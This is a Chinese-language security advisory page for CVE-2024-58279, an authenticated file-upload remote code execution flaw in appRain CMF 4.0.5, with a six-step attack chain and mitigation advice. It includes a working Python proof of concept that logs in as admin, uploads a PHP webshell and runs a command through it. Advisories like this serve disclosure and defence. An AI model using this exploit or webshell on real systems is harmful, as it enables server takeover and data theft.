IPBUF安全漏洞报告
English
CVE-2024-58279 CVSS 8.8 高危

CVE-2024-58279 | appRain CMF 认证远程代码执行漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2024-58279
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
appRain CMF 4.0.5

相关标签

远程代码执行文件上传漏洞appRain CMFWebShell认证绕过CVE-2024-58279

漏洞概述

CVE-2024-58279是appRain CMF 4.0.5版本中的一个经过认证的远程代码执行(RCE)漏洞。该漏洞存在于文件管理器(FileManager)的上传功能中,允许具有管理员权限的已认证用户通过精心构造的恶意PHP文件实现服务器端代码执行。攻击者利用此漏洞可以绕过正常的文件上传限制,将包含恶意代码的PHP文件上传到服务器的上传目录。一旦恶意文件成功部署,攻击者即可通过访问该文件在Web服务器上执行任意系统命令,从而完全控制受影响的系统。此漏洞的CVSS评分高达8.8,属于高危漏洞,对系统的机密性、完整性和可用性均造成严重影响。建议受影响的用户尽快采取修复措施或应用临时缓解方案。

技术细节

该漏洞的根本原因在于appRain CMF 4.0.5的文件管理器上传端点缺乏充分的文件类型验证和安全过滤机制。攻击者需要首先获取目标系统的管理员账户凭证以通过身份认证。认证成功后,攻击者可以通过文件管理器上传端点上传精心构造的恶意PHP文件。系统未能对上传文件的扩展名和内容进行严格检查,允许.php等可执行脚本文件成功上传到站点的uploads目录。攻击者上传的文件通常包含webshell代码,如使用system()、exec()、shell_exec()等PHP函数执行系统命令的代码。成功上传后,攻击者通过HTTP请求访问该恶意PHP文件,并附带命令参数即可在服务器上执行任意系统命令。这种攻击方式利用了Web应用对文件上传功能的安全控制缺陷,属于典型的文件上传导致的远程代码执行漏洞。

攻击链分析

STEP 1
步骤1
攻击者获取appRain CMF管理员账户凭证(通过社会工程、暴力破解或已有凭证)
STEP 2
步骤2
使用获取的凭证登录管理后台,建立已认证的会话
STEP 3
步骤3
构造包含webshell代码的恶意PHP文件(如使用system/exec函数执行系统命令)
STEP 4
步骤4
通过文件管理器上传端点将恶意PHP文件上传到服务器uploads目录
STEP 5
步骤5
访问已上传的webshell文件,通过GET参数传递要执行的系统命令
STEP 6
步骤6
在服务器上执行任意系统命令,实现对目标系统的完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2024-58279: appRain CMF 4.0.5 Authenticated RCE via FileManager Upload target_url = "http://target.com" # Replace with target URL username = "admin" # Replace with valid admin username password = "admin123" # Replace with valid admin password # Login to get authenticated session session = requests.Session() login_url = f"{target_url}/admin/login" login_data = { "username": username, "password": password } response = session.post(login_url, data=login_data) if "success" not in response.text.lower() and response.status_code != 200: print("[-] Login failed") sys.exit(1) print("[+] Login successful") # Prepare malicious PHP file (webshell) php_payload = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" files = { "file": ("shell.php", php_payload, "application/x-php") } # Upload the malicious file via FileManager endpoint upload_url = f"{target_url}/admin/filemanager/upload" response = session.post(upload_url, files=files) if response.status_code == 200: print("[+] Malicious PHP file uploaded successfully") # Attempt to execute command shell_url = f"{target_url}/uploads/shell.php?cmd=whoami" shell_response = session.get(shell_url) print(f"[+] Command output: {shell_response.text}") else: print("[-] Upload failed")

影响范围

appRain CMF 4.0.5

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 严格限制管理员账户的密码强度,定期更换密码;2) 对管理后台实施IP白名单访问控制;3) 将uploads目录设置为禁止执行PHP脚本(通过.htaccess或nginx配置);4) 禁用或限制文件管理器上传功能;5) 部署Web应用防火墙(WAF)监控和阻止可疑的上传行为;6) 实施入侵检测系统(IDS)监控异常的文件访问和命令执行行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表